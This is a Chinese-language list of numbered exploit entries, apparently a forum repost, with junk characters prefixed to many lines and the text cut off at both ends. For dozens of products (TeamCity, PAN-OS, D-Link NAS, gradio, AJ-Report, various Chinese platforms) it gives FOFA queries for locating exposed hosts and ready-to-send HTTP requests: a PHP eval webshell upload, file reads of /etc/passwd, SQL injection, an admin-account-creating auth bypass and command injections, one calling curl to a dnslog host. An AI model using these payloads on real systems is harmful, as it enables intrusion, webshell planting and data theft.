User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36
Accept: */*
Accept-Encoding: gzip, deflate
; S% I/ B) m' V4 _. S6 NConnection: close

/ N7 V5 U! N- z7 w9 e- C  w
+ c. x8 v" X0 S. B( E第二步，读取/etc/passwd文件
GET /pms?module=logging&file_name=../../../../../../../etc/passwd&number_of_lines=100 HTTP/1.1
. o! g1 x- ~: M' oHost: x.x.x.x
2 H5 b) Z8 {& b  l+ cUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36
% K7 h  G+ ^$ I' p; pAccept: */*
' G2 f1 C: J4 Q& L1 XAccept-Encoding: gzip, deflate
/ C' R& v+ ?6 y8 \Connection: close
uuid: 85f60018-a654-4410-a783-f81cbd5000b9

4 Z8 D/ I; e+ E7 A; \5 i
130. Laykefu客服系统任意文件上传
, r/ R: N- T& H/ M& x8 i' i/ }  QFOFA：icon_hash="-334624619"
1 q# ]  e/ ?: d, s9 RPOST /admin/users/upavatar.html HTTP/1.1
Host: 127.0.0.1
8 f( `, _. x. o/ \" ?Accept: application/json, text/javascript, */*; q=0.01
X-Requested-With: XMLHttpRequest
, B4 h; j+ T# C1 t8 E' @User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36 Edg/107.0.1418.26
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary3OCVBiwBVsNuB2kR
5 y4 b  J2 k( {Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: user_name=1; user_id=3
, A0 a5 c6 d/ K! H, Y" z8 lConnection: close

; b% _, i5 v% P1 u- m------WebKitFormBoundary3OCVBiwBVsNuB2kR
Content-Disposition: form-data; name="file"; filename="1.php"
0 T5 ?4 l) r/ f, XContent-Type: image/png
! {# ^0 k' @8 \( N
* I  Z, v! w6 I9 E0 b2 e3 `<?php phpinfo();@eval($_POST['sec']);?>
------WebKitFormBoundary3OCVBiwBVsNuB2kR--


# j. |: r" y7 ~5 G2 P9 o1 C6 |131. Mini-Tmall <=20231017 SQL注入
FOFA：icon_hash="-2087517259"
后台地址：http://localhost:8080/tmall/admin
http://localhost:8080/tmall/admin/user/1/1?orderBy=7,if((length(database())=11),SLEEP(3),0)
6 f+ Q- m; W: a5 F) ~
132. JetBrains TeamCity 2023.11.3 及以下版本存在身份验证绕过
CVE-2024-27198
3 X/ B) v$ _2 h; x% D- b" aFOFA：body="Log in to TeamCity"
6 ?7 z# _: j3 `# @/ vPOST /pwned?jsp=/app/rest/users;.jsp HTTP/1.1
& g7 O( d, N1 X8 XHost: 192.168.40.130:8111
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36
6 }8 h( ?) K7 `- G* TAccept: */*
* |' O- w" |5 ]8 I; J! E/ t9 NContent-Type: application/json
+ e; u' @, J' m8 Q* |/ l8 zAccept-Encoding: gzip, deflate
/ y% ?, l% d7 u/ c7 c& U
2 |/ l  N' e7 u% Z6 ~. M{"username": "用户名", "password": "密码", "email": "test@mydomain.com", "roles": {"role": [{"roleId": "SYSTEM_ADMIN", "scope": "g"}]}}


5 Q3 v* ?# V" E8 ^& DCVE-2024-27199
! r8 l4 `# E% B2 C/res/../admin/diagnostic.jsp
/.well-known/acme-challenge/../../admin/diagnostic.jsp
/update/../admin/diagnostic.jsp
* p5 L" _: @: k- V& F( v- J8 F
$ m8 f. {5 D- s  [$ Z1 r" j
CVE-2024-27198-RCE.py
9 K5 |/ `" X9 ]% ^' O' Y
133. H5 云商城 file.php 文件上传
3 Q* U2 n( Z  \) uFOFA：body="/public/qbsp.php"
POST /admin/commodtiy/file.php?upload=1 HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36(KHTML, like Gecko) Chrome/93.0.4577.63 Safari/537.36
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryFQqYtrIWb8iBxUCx

2 J& Q) r$ d% H& y------WebKitFormBoundaryFQqYtrIWb8iBxUCx
" _, d' l/ H9 O- K7 a; U! j. P7 fContent-Disposition: form-data; name="file"; filename="rce.php"
  w- `8 i" r9 }& z6 \Content-Type: application/octet-stream

<?php system("cat /etc/passwd");unlink(__FILE__);?>
------WebKitFormBoundaryFQqYtrIWb8iBxUCx--
+ q$ V! j% v. l' Z* \
2 `3 A: x7 k% @+ r
0 @6 p' o- W/ ~' L" j7 u
- j. n# i4 R) f( Z0 U3 d134. 网康NS-ASG应用安全网关index.php sql注入
. [# f: K; `% D+ J' m& QCVE-2024-2330
Netentsec NS-ASG Application Security Gateway 6.3版本
; D2 e' ?1 O8 s: }% `1 zFOFA：app="网康科技-NS-ASG安全网关"
POST /protocol/index.php HTTP/1.1
( H$ J) f5 z- L& oHost: x.x.x.x
Cookie: PHPSESSID=bfd2e9f9df564de5860117a93ecd82de
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:109.0) Gecko/20100101 Firefox/110.0
1 s! v3 t8 ?* T* p! B; e7 IAccept: */*
$ S# K  b4 M. A0 m% W) y& cAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
0 c/ I5 H5 O: N  T; y5 hAccept-Encoding: gzip, deflate
% y$ v! t4 w# B. f9 F  k6 `Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
9 m8 a6 S. @' I+ z- \9 ~Sec-Fetch-Site: same-origin
Te: trailers
' N. |1 I9 p" Q! l: O, ~# HConnection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 263
% z; c2 H2 }& }; C$ t9 U# H
jsoncontent={"protocolType":"addmacbind","messagecontent":["{\"BandIPMacId\":\"1\",\"IPAddr\":\"eth0'and(updatexml(1,concat(0x7e,(select+version())),1))='\",\"MacAddr\":\"\",\"DestIP\":\"\",\"DestMask\":\"255.255.255.0\",\"Description\":\"Sample+Description\"}"]}
( S0 P4 R4 x: K# ?/ d8 \8 K1 J% R* w

8 f  D! b) |* C; v9 t& W/ m4 k135. 网康NS-ASG应用安全网关list_ipAddressPolicy.php sql注入
CVE-2024-2022
Netentsec NS-ASG Application Security Gateway 6.3版本
7 y$ p- Q( ^0 F, P7 [. r5 nFOFA：app="网康科技-NS-ASG安全网关"
9 ?7 @  A- x6 b; v+ ~GET /admin/list_ipAddressPolicy.php?GroupId=-1+UNION+ALL+SELECT+EXTRACTVALUE(1,concat(0x7e,(select+md5(102103122)),0x7e)) HTTP/1.1
Host: x.x.x.x
- E8 {+ M0 h5 w+ X1 g% D' c$ lUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
) n- e1 @% {( S1 p% wAccept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
- u# k# `8 C( T5 |

' S9 w) U0 d; G, c- F! e( v8 g. K: n% s136. NextChat cors SSRF
CVE-2023-49785
. c+ z, v1 I" [" }; b7 T( x$ v4 J' OFOFA：title="NextChat"
GET /api/cors/http:%2f%2fnextchat.kr9dqoau.dnslog.pw%23 HTTP/1.1
% V9 D2 H. _4 _+ W% T9 C# F4 xHost: x.x.x.x:10000
+ A5 K' ^# N7 n( A4 OUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36
Connection: close
Accept: */*
Accept-Language: en
7 N0 v% ~/ q& Y7 w; fAccept-Encoding: gzip


. r" k- g8 I4 p7 \137. 福建科立迅通信指挥调度平台down_file.php sql注入
' n% D6 \; s8 ~* TCVE-2024-2620
FOFA：body="app/structure/departments.php" || app="指挥调度管理平台"
- O$ G5 V, T: [. r% Z" ^2 XGET /api/client/down_file.php?uuid=1%27%20AND%20(SELECT%205587%20FROM%20(SELECT(SLEEP(5)))pwaA)%20AND%20%27dDhF%27=%27dDhF HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:123.0) Gecko/20100101 Firefox/123.0
. p# s* X- _  @Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
1 ~8 H, {9 z" ^Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
Connection: close
0 g/ h, U/ \/ T1 |( eCookie: PHPSESSID=d62411cd4ada228583bbcae45f099567; authcode=uksj
Upgrade-Insecure-Requests: 1
+ }8 N0 e$ P$ `

138. 福建科立讯通信指挥调度平台pwd_update.php sql注入
+ X* O; j9 c. {5 f( gCVE-2024-2621
FOFA：body="app/structure/departments.php" || app="指挥调度管理平台"
GET /api/client/user/pwd_update.php?usr_number=1%27%20AND%20(SELECT%207872%20FROM%20(SELECT(SLEEP(5)))DHhu)%20AND%20%27pMGM%27=%27pMGM&new_password=1&sign=1 HTTP/1.1
6 s  H9 Q" c5 J# I- BHost: x.x.x.x
3 ^' i: m4 J% ~( LUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:123.0) Gecko/20100101 Firefox/123.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
Connection: close
6 [& m/ q6 x3 N8 _; u. C- O* R% f! LUpgrade-Insecure-Requests: 1
& U+ w  y1 O. v4 e
4 D* ^- {* x. ]8 W/ K
139. 福建科立讯通信指挥调度平台editemedia.php sql注入
CVE-2024-2622
FOFA：body="app/structure/departments.php" || app="指挥调度管理平台"
  I- \# W% ]1 {$ R& v. e: s8 U0 }) y( eGET /api/client/editemedia.php?enterprise_uuid=1%27%20AND%20(SELECT%203257%20FROM%20(SELECT(SLEEP(5)))JPVs)%20AND%20%27gDyM%27=%27gDyM HTTP/1.1
: z2 c0 Q# c" d' p3 h3 g+ e, Y1 PHost: x.x.x.x
) Y+ X7 e3 }$ A2 AUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:123.0) Gecko/20100101 Firefox/123.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
* l8 i+ e* V; j) `Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
  S$ Z! ]  U$ e) rAccept-Encoding: gzip, deflate, br
+ ~" ]! z5 F+ W, E% q1 c: WConnection: close
: V  E% Z: X3 y: z+ d4 ~% sCookie: PHPSESSID=d62411cd4ada228583bbcae45f099567; authcode=cybk
! b" ^. u' c+ e/ ]Upgrade-Insecure-Requests: 1

. F# i% q6 I0 s; v6 K1 M8 ^
6 i  ^4 D; _) p' A6 M! X6 \140. 福建科立讯通信指挥调度平台get_extension_yl.php sql注入
CVE-2024-2566
FOFA：body="app/structure/departments.php" || app="指挥调度管理平台"
# ~8 p% U, u$ p  p4 D1 AGET /api/client/get_extension_yl.php?imei=1%27%20AND%20(SELECT%207545%20FROM%20(SELECT(SLEEP(5)))Zjzw)%20AND%20%27czva%27=%27czva&timestamp=1&sign=1 HTTP/1.1
; g' D+ ~% k- \! [) N. p7 RHost: x.x.x.x
5 u0 W) P9 @- S# R7 J% [7 x. N% b/ O3 sUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:123.0) Gecko/20100101 Firefox/123.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
9 ^6 B* H) h3 U, r- g% GAccept-Encoding: gzip, deflate, br
. n! b; @( [9 S, }: W; LConnection: close
" m; d3 J% E. Q5 G! w9 r" q, _& b' kCookie: authcode=h8g9
Upgrade-Insecure-Requests: 1


7 T, I8 {$ X  k; r141. 建科立讯通信指挥调度管理平台 ajax_users.php SQL注入
/ |$ c$ e+ w" V3 |/ B+ i6 aFOFA：body="指挥调度管理平台"
* c6 P9 \# P& B3 u! lPOST /app/ext/ajax_users.php HTTP/1.1
Host: your-ip
2 a/ {8 ?0 X" {: @$ ]* _! KUser-Agent: Mozilla/5.0 (Windows NT 5.1; rv:5.0) Gecko/20100101 Firefox/5.0 info
Content-Type: application/x-www-form-urlencoded


dep_level=1') UNION ALL SELECT NULL,CONCAT(0x7e,md5(1),0x7e),NULL,NULL,NULL-- -
/ w! Z) i6 Y+ _1 Q

142. CMSV6车辆监控平台系统中存在弱密码
CVE-2024-29666
: t& ]1 x9 D7 k0 }8 J( M* N5 TFOFA：body="/808gps/"
2 f7 {9 W9 U5 S3 U5 q' Badmin/admin
+ I+ ?) A# `5 h: D. }* ^/ B; ?143. Netis WF2780 v2.1.40144 远程命令执行
CVE-2024-25850
FOFA：title='AP setup' && header='netis'
PAYLOAD
+ C+ z, W0 q# X8 b8 r
144. D-Link nas_sharing.cgi 命令注入
: I/ c6 @; Z7 HFOFA：app="D_Link-DNS-ShareCenter"
& V% d2 c# J3 U+ X: Y7 G! zsystem参数用于传要执行的命令
" Q( `, H9 G/ G* ?0 D9 G; kGET /cgi-bin/nas_sharing.cgi?user=mydlinkBRionyg&passwd=YWJjMTIzNDVjYmE&cmd=15&system=aWQ= HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:47.0) Gecko/20100101 Firefox/47.0
Connection: close
1 ?7 S2 E6 }& E, y" A! \+ }5 YAccept: */*
2 ?2 M2 Y6 C: p$ LAccept-Language: en
1 t( L6 Y, j& [# VAccept-Encoding: gzip
# K( n8 J2 g# ~/ [1 t

145. Palo Alto Networks PAN-OS GlobalProtect 命令注入
% h+ K2 u$ R/ y" G- v4 TCVE-2024-3400
FOFA：icon_hash="-631559155"
" ^: l- m5 f& ?6 b; J, AGET /global-protect/login.esp HTTP/1.1
Host: 192.168.30.112:1005
- Y/ D! n0 U* U* M! _# G/ wUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.159 Safari/537.36 Edg/92.0.902.84
Connection: close
2 q/ e3 Y/ K/ E+ pCookie: SESSID=/../../../opt/panlogs/tmp/device_telemetry/minute/hellothere226`curl${IFS}dnslog地址`;
Accept-Encoding: gzip
0 }% W- m5 @8 K( r/ b7 ?8 {
2 P' C3 R  J8 a" t
: h/ j3 ~% W$ h146. MajorDoMo thumb.php 未授权远程代码执行
! Z7 D# X2 _, {8 zCNVD-2024-02175
FOFA：app="MajordomoSL"
GET /modules/thumb/thumb.php?url=cnRzcDovL2EK&debug=1&transport=%7C%7C+%28echo+%27%5BS%5D%27%3B+id%3B+echo+%27%5BE%5D%27%29%23%3B HTTP/1.1
6 e5 c: B5 |: y: r' uHost: x.x.x.x
5 b8 P$ G; |0 vUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.159 Safari/537.36 Edg/92.0.902.84
Accept-Charset: utf-8
Accept-Encoding: gzip, deflate
0 u. |7 d! a! z8 DConnection: close
" m' m* n: u* `
. t" r$ {' H0 w
/ v- I) \; O' i. E/ v& O4 d: i147. RaidenMAILD邮件服务器v.4.9.4-路径遍历
CVE-2024-32399
: g: o' E* K) i$ U9 ?+ oFOFA：body="RaidenMAILD"
( K5 w- D4 t1 S4 j0 A2 FGET /webeditor/../../../windows/win.ini HTTP/1.1
Host: 127.0.0.1:81
! a3 N+ |/ j8 b/ u# eCache-Control: max-age=0
0 E% o! a9 g3 Z% X4 [Connection: close

( @" b- {- z& r5 v' P) K
148. CrushFTP 认证绕过模板注入
CVE-2024-4040
FOFA：body="CrushFTP"
* F* R/ c" ^1 RPAYLOAD

149. AJ-Report开源数据大屏存在远程命令执行
FOFA：title="AJ-Report"

POST /dataSetParam/verification;swagger-ui/ HTTP/1.1
$ V& o. w; R+ Q' t2 eHost: x.x.x.x
# X$ r4 d- v& w/ Z3 ~User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
/ H/ `6 s0 h8 NAccept-Encoding: gzip, deflate, br
) {7 [4 b0 z; oAccept-Language: zh-CN,zh;q=0.9
3 Y  {- i8 _- I% R! _* |, WContent-Type: application/json;charset=UTF-8
Connection: close
% D0 K9 c4 [4 Y. V
{"ParamName":"","paramDesc":"","paramType":"","sampleItem":"1","mandatory":true,"requiredFlag":1,"validationRules":"function verification(data){a = new java.lang.ProcessBuilder(\"ipconfig\").start().getInputStream();r=new java.io.BufferedReader(new java.io.InputStreamReader(a));ss='';while((line = r.readLine()) != null){ss+=line};return ss;}"}
7 p' ^0 E- j. d$ \( i
150. AJ-Report 1.4.0 认证绕过与远程代码执行
6 \- v" ?9 F- q  T( N% J( ^FOFA：title="AJ-Report"
  B% E2 E* S$ h, n; _6 }4 a! EPOST /dataSetParam/verification;swagger-ui/ HTTP/1.1
Host: x.x.x.x
  @0 u( ?4 j  T1 r7 {User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36
0 J: W' \; V) J$ sAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
% G/ e  x( @4 N. CAccept-Encoding: gzip, deflate, br
* L( p2 u3 |  z- D8 ?* PAccept-Language: zh-CN,zh;q=0.9
! M0 `; B% {! o- j$ R" N& I4 gContent-Type: application/json;charset=UTF-8
3 n0 F2 t, ^+ N- i7 f9 Z/ OConnection: close
Content-Length: 339
& }) ?& v0 M" q! a5 J5 x
{"ParamName":"","paramDesc":"","paramType":"","sampleItem":"1","mandatory":true,"requiredFlag":1,"validationRules":"function verification(data){a = new java.lang.ProcessBuilder(\"id\").start().getInputStream();r=new java.io.BufferedReader(new java.io.InputStreamReader(a));ss='';while((line = r.readLine()) != null){ss+=line};return ss;}"}

3 w! m* @7 z6 }5 U9 Q! f& y( V
. N3 F% h- R: U; u151. AJ-Report 1.4.1 pageList sql注入
FOFA：title="AJ-Report"
GET /;swagger-ui/dataSource/pageList?showMoreSearch=false&pageNumber=1&pageSize=10 HTTP/1.1
Host: x.x.x.x
+ G% r" f+ V3 D" r6 G. A9 }6 o. \! eUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Connection: close
Accept-Encoding: gzip
1 m( v+ U. S4 d6 z7 |
  m  I# T6 c$ b
. O+ s% L: w+ i: G5 g2 D+ m0 j152. Progress Kemp LoadMaster 远程命令执行
. U/ w& J6 R1 jCVE-2024-1212
LoadMaster <= 7.2.59.2 (GA)
LoadMaster<=7.2.54.8 (LTSF)
LoadMaster <= 7.2.48.10 (LTS)
FOFA：body="LoadMaster"
/ Q0 O  u) [: G6 X3 p8 b/ ]JztsczsnOmRvZXNub3RtYXR0ZXI=是';ls;':doesnotmatter的base64编码
1 o# y8 W' ^! hGET /access/set?param=enableapi&value=1 HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_0) AppleWebKit/604.1 (KHTML, like Gecko) Version/9.1.2 Safari/604.1
Connection: close
Accept: */*
Accept-Language: en
Authorization: Basic JztsczsnOmRvZXNub3RtYXR0ZXI=
" L  |& C' G+ ~' P) GAccept-Encoding: gzip
4 _* D% R' W# t6 h, `" w

8 K- ?. c$ V3 ~* A: s% c7 x+ t153. gradio任意文件读取
7 o! w2 l9 m' r0 v7 _3 iCVE-2024-1561FOFA：body="__gradio_mode__"
第一步，请求/config文件获取componets的id
http://x.x.x.x/config
+ w+ Q# v' ~- z; R, \

9 T; [+ @+ H2 p. w# S2 w* V; [/ N2 w第二步，将/etc/passwd的内容写入到一个临时文件
POST /component_server HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/14.1.3 Safari/605.1.1514.1.3 Ddg/14.1.3
1 ?" G0 y2 f! Q5 c4 RConnection: close
Content-Length: 115
7 e9 X6 o& s  d& y$ {' EContent-Type: application/json
0 A0 d# l5 `, @2 z- @, T2 S0 oAccept-Encoding: gzip
  w$ @: M% p* m
( z0 }; i0 v1 v% |6 t$ Q2 J{"component_id": "1","data": "/etc/passwd","fn_name": "move_resource_to_block_cache","session_hash": "aaaaaaaaaaa"}

7 q  g& e, |  V( J2 ?( h
7 v! v/ Z; I9 d, A第三步访问
7 j6 W( L' g/ w; dhttp://x.x.x.x/file=/tmp/gradio/ ... 8cdf49755073/passwd

, x5 w- j/ o  U% l. _
' {  J2 i9 n1 F/ J  Q( L154. 天维尔消防救援作战调度平台 SQL注入
+ y' v+ _1 D- a: y' w9 x% R& aCVE-2024-3720FOFA：body="天维尔信息科技股份有限公司" && title=="登入"
POST /twms-service-mfs/mfsNotice/page HTTP/1.1
Host: x.x.x.x
5 R/ Q* g! B0 e5 rContent-Length: 106
Cache-Control: max-age=0
2 ]" \- ~  b. R1 J( z$ pUpgrade-Insecure-Requests: 1
Origin: http://x.x.x.x
5 o( b/ h3 t0 TContent-Type: application/json
5 P2 s% T# A3 R9 DUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/118.0.0.0 Safari/537.36
4 ]* S! q( |: F7 W- `9 k( w1 hAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://x.x.x.x/twms-service-mfs/mfsNotice/page
& z* c2 L% W" b  u( uAccept-Encoding: gzip, deflate
% q5 b5 z3 n" C' V6 v9 [% KAccept-Language: zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7
& ?) [- K4 ^8 P4 P' f2 |5 sConnection: close

{"currentPage":1,"pageSize":19,"query":{"gsdwid":"1f95b3ec41464ee8b8f223cc41847930') AND 7120=(SELECT 7120 FROM PG_SLEEP(5)) AND ('dZAi'='dZAi"},"hgubmt748n4":"="}


155. 六零导航页 file.php 任意文件上传
$ @$ g$ b" s3 y6 u# r* h: SCVE-2024-34982
FOFA：title=="上网导航 - LyLme Spage"
POST /include/file.php HTTP/1.1
6 K) Y- c8 N4 \, }% v% [Host: x.x.x.x
* s- s; W& `" ?6 T7 l6 \User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:125.0) Gecko/20100101 Firefox/125.0
Connection: close
Content-Length: 232
Accept: application/json, text/javascript, */*; q=0.01
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Content-Type: multipart/form-data; boundary=---------------------------qttl7vemrsold314zg0f
! s  ~6 f/ L( @( U* X5 u" ZX-Requested-With: XMLHttpRequest

-----------------------------qttl7vemrsold314zg0f
! O; `% M9 g& C1 f0 J& p8 fContent-Disposition: form-data; name="file"; filename="test.php"
Content-Type: image/png

/ N. H9 f6 i0 n5 P7 ]8 z# F! @<?php phpinfo();unlink(__FILE__);?>
1 h% Y- @9 d& p  h-----------------------------qttl7vemrsold314zg0f--
5 T2 I% b; f# V0 A
  O4 P* \5 }7 ]/ i/ x7 A1 k& x
7 s# L+ \8 x/ Y8 b. k' [访问回显文件http://x.x.x.x/files/upload/img_664ab7fd14d2c.php

156. TBK DVR-4104/DVR-4216 操作系统命令注入
CVE-2024-3721
FOFA："Location: /login.rsp"
·TBK DVR-4104
·TBK DVR-4216
curl "http://<dvr_host>:<port>/device.rsp?opt=sys&cmd=___S_O_S_T_R_E_A_MAX___&mdb=sos&mdc=<URL_ENCODED_SHELL_COMMAND>" -H "Cookie: uid=1"
3 D2 j0 l$ ]* H0 e3 Z4 a+ i

POST /device.rsp?opt=sys&cmd=___S_O_S_T_R_E_A_MAX___&mdb=sos&mdc=echo%3B%20echo%20asrgkjh0%20%3E%20%2Fvar%2Fexample.txt%3B%20ls%20-l%20%2Fvar%3B%20echo%20----------------%3B%20cat%20%2Fvar%2Fexample.txt%3B HTTP/1.1
- ~* w& `3 G$ J  [, yHost: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh;T2lkQm95X0c= Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Connection: close
1 Z8 d! o* R5 }' RContent-Length: 0
: D+ ~9 t* \/ b2 D4 t3 kCookie: uid=1
( a1 e: k8 u* e8 AAccept-Encoding: gzip
/ U5 h' d, G% C. W

9 V, a: n: z' U% E4 T" o4 N0 h157. 美特CRM upload.jsp 任意文件上传
CNVD-2023-06971
* F  T7 O$ y' i3 U/ AFOFA：body="/common/scripts/basic.js"
POST /develop/systparam/softlogo/upload.jsp?key=null&form=null&field=null&filetitle=null&folder=null HTTP/1.1
; o' P; e1 U+ d8 NHost: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36
Content-Length: 709
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
, ^/ g- J. P+ q5 T( Y3 \9 [9 jAccept-Language: zh-CN,zh;q=0.9
/ e* n; S6 J* e! y3 r( s4 pCache-Control: max-age=0
Connection: close
- H" t; e* \. `" P. L4 }Content-Type: multipart/form-data; boundary=----WebKitFormBoundary1imovELzPsfzp5dN
Upgrade-Insecure-Requests: 1

------WebKitFormBoundary1imovELzPsfzp5dN
9 f% T* y* u# E3 z0 l( r. ?; sContent-Disposition: form-data; name="file"; filename="kjldycpvjrm.jsp"
Content-Type: application/octet-stream
/ m, V/ ~. ]5 e- {2 I* H6 J3 f- R' k7 Y
9 V, H6 j/ E  B% z) [" c& x  Ynyhelxrutzwhrsvsrafb
------WebKitFormBoundary1imovELzPsfzp5dN
$ p6 M0 C, J# i8 d5 K$ N! X2 aContent-Disposition: form-data; name="key"

$ B; Z5 k# S. t; S! e! wnull
------WebKitFormBoundary1imovELzPsfzp5dN
Content-Disposition: form-data; name="form"

; x8 v) Z5 l  n1 y7 s* F! E3 M- lnull
' A: Z8 F& `1 T4 t: G------WebKitFormBoundary1imovELzPsfzp5dN
) h  b) y! m1 @* g8 I$ MContent-Disposition: form-data; name="field"

1 p( v2 I' R5 K8 Anull
------WebKitFormBoundary1imovELzPsfzp5dN
  p- L5 L# p, L( N/ Q& I$ MContent-Disposition: form-data; name="filetitile"
7 X# T& d) e/ t/ N
) I* W5 G( t5 J: x. y* Tnull
------WebKitFormBoundary1imovELzPsfzp5dN
. K( c3 m- z7 t; F8 ]2 }Content-Disposition: form-data; name="filefolder"
1 b8 \' S* K. K% y0 S  C' {) Z7 Z
: @4 }) D! l; c  M* P4 h/ a+ Nnull
  L/ f8 @$ ?( g$ `9 T7 M------WebKitFormBoundary1imovELzPsfzp5dN--
& l& F2 r( E4 ]% b5 [
! [2 a, x' _8 C8 ?
+ u2 w) \  V. O# dhttp://x.x.x.x/userfile/default/userlogo/kjldycpvjrm.jsp
$ p: L1 H6 D/ a
158. Mura-CMS-processAsyncObject存在SQL注入
. j3 E- j$ L( l( FCVE-2024-32640
4 w# q' {0 T, ~FOFA："Generator: Masa CMS"
POST /index.cfm/_api/json/v1/default/?method=processAsyncObject HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded

6 o7 T- I$ w' K3 t1 P: e8 \& Y. uobject=displayregion&contenthistid=x\'&previewid=1


159. 英飞达医学影像存档与通信系统 WebJobUpload任意文件上传
FOFA："INFINITT" && (icon_hash="1474455751"|| icon_hash="702238928")
$ _' [% q$ W; C0 i7 ZPOST /webservices/WebJobUpload.asmx HTTP/1.1
' T  L' ?! B) n. x7 j) B: DHost: x.x.x.x
) B" V0 f2 h( T. T( ZUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/118.0.0.0 Safari/537.36
9 ?5 \/ ~+ y& [+ N) _Content-Length: 1080
% n- t- L8 `2 Q/ U* r9 I/ DAccept-Encoding: gzip, deflate
Connection: close
: ^& J9 U1 }3 X) ~* dContent-Type: text/xml; charset=utf-8
Soapaction: "http://rainier/jobUpload"
- ~2 _3 ~8 R. R: L1 }
<?xml version="1.0" encoding="utf-8"?>
